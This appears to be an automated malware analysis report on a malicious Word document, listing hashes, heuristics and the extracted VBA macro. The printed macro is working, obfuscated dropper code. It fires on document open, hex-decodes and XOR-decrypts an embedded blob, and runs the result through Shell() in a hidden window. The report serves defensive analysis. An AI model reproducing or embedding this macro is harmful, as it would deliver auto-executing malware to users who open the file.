Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a7d89be62b6c2d40…

MALICIOUS

Office (OLE)

51.5 KB Created: 2017-10-09 20:06:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 44f301d1ca808924acbe509f837d0b42 SHA-1: ee9b5097ad2ddeda39f826cf8f95e8bb15129bcc SHA-256: a7d89be62b6c2d400088f77a359c60bf240cddda239e3f253dfedd2f6f2e608a
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Office document containing VBA macros, specifically triggering on Document_Open and Workbook_Open events. A critical heuristic firing indicates the use of the Shell() function within the VBA code, which is commonly used to execute arbitrary commands. The extracted VBA script contains a large, encoded string that is likely a payload or a component used to fetch one. This suggests the document's primary purpose is to act as a dropper for further malicious activity.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3411 bytes
SHA-256: 4479c0f39969ea71630ad115194c76ed2a7027447cfc80f2838c09db4490026f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Const PREFIX As String = "&h"

Public Sub CCABCQMnKdcxEDFVhhPjU()
    
    Dim b As String
    b = "3c2c2008072b2d3339095b3d001443652f190f2f3a3127211d15363c25202e4d17213537261655752f180d2c2516393836292b6e3b0c3d34292d77401b3735243a031c341d514e26250412253b650728534d2d353f377a1d142c2d76754110360e4b370d07314a676f6212381b0a2a2462262f085271652d070018370e144e013e04076c6f612b20055f0d1501137746557f19203d0a062c56141b2d6d1c516c6b2622275358791e29347a2217322035214526210b050625642f0f3861122b2c3009303522376c4d513b293f7b2d10391c14113b11463f3f2a37630f140037246b1e7750557f0a223d00070d0b14116f71414e2f232c600a1c12373c2322332b1c34207e720d012c084b4c673d161d62232c233e161d2c31296d34021877110206323c1e2c5c3309132c2f021b681a07355369607c70665d4568716665574468485f06302f46466c6b20203849311c1d1c637c4d5204333e3a1601761d09066f635a4a64012039633c0733352f37774016372876060d1034145f22383a0d032f2e3127211d4c770324263b0130202035201110705c140d3e70352f011f65656e54392f3823302343102020717c5e550b0c1e13651a13052f2a363d6e5e2c3d7068133e0955750339270610"

    Dim JpOfcXDNCfYJUeSiQWebfvC As String
    Dim qyJHoMHQdTRUnTUjuMlWQEgRjAJo() As Byte
    Dim lfPnsVE As String
    Dim cSuBwPxcsepkcQTDsxtFJJUIsKjv() As Byte

    qyJHoMHQdTRUnTUjuMlWQEgRjAJo = AkBMMrhbHkVQWfSX(b)
    JpOfcXDNCfYJUeSiQWebfvC = TdUFindsbGZXZtmKKfLsSxNds("LCWmuXEVUeuXxqcHJajLOENNseYP", qyJHoMHQdTRUnTUjuMlWQEgRjAJo)
    bnEIyrmsYLiMGc JpOfcXDNCfYJUeSiQWebfvC

End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Private Sub bnEIyrmsYLiMGc(ByVal bEYtMXwLwsYBZpGQBeOtaNRS As String)
    
    Dim pAPncrVH As Long
    Dim RJNnNfTJxWEIajAdXYVek As Long

    On Error GoTo ifVODkZIYzoqp
    pAPncrVH = Shell(bEYtMXwLwsYBZpGQBeOtaNRS, 0)

    Exit Sub

ifVODkZIYzoqp:
    MsgBox "New Error 33."
End Sub

Function AkBMMrhbHkVQWfSX(ByVal rzrRpSxSWev As String)
   Dim i As Long
   Dim bEYtMXwLwsYBZpGQBeOtaNRS() As Byte
   ReDim bEYtMXwLwsYBZpGQBeOtaNRS(0 To Len(rzrRpSxSWev) \ 2)
   For i = 1 To Len(rzrRpSxSWev) Step 2
        bEYtMXwLwsYBZpGQBeOtaNRS((i - 1) / 2) = CByte(PREFIX & Mid$(rzrRpSxSWev, i, 2))
   Next
   AkBMMrhbHkVQWfSX = StrConv(bEYtMXwLwsYBZpGQBeOtaNRS, vbUnicode)
End Function

Public Sub Document_Open()
    CCABCQMnKdcxEDFVhhPjU
End Sub

Public Function TdUFindsbGZXZtmKKfLsSxNds(SObGUXptAIqqIrdziTJreRS As String, ByVal CnkmXwq As String) As String
    Dim mxvoquMbHFSEutxuptoUubGaW As Long
    Dim eHNcweszekWOiNhHJyYoLjQQXEhv As String
    Dim lQustqfoEjOmVpm As Integer, AbXMTJBuOTmIgYP As Integer, a As Long

    For mxvoquMbHFSEutxuptoUubGaW = 1 To Len(CnkmXwq)
        a = mxvoquMbHFSEutxuptoUubGaW Mod Len(SObGUXptAIqqIrdziTJreRS)
        If a = 0 Then a = Len(SObGUXptAIqqIrdziTJreRS)
        
        lQustqfoEjOmVpm = Asc(Mid$(CnkmXwq, mxvoquMbHFSEutxuptoUubGaW, 1))
        AbXMTJBuOTmIgYP = Asc(Mid$(SObGUXptAIqqIrdziTJreRS, a, 1))
        eHNcweszekWOiNhHJyYoLjQQXEhv = eHNcweszekWOiNhHJyYoLjQQXEhv + Chr(lQustqfoEjOmVpm Xor AbXMTJBuOTmIgYP)
    Next mxvoquMbHFSEutxuptoUubGaW
    
   TdUFindsbGZXZtmKKfLsSxNds = eHNcweszekWOiNhHJyYoLjQQXEhv
End Function

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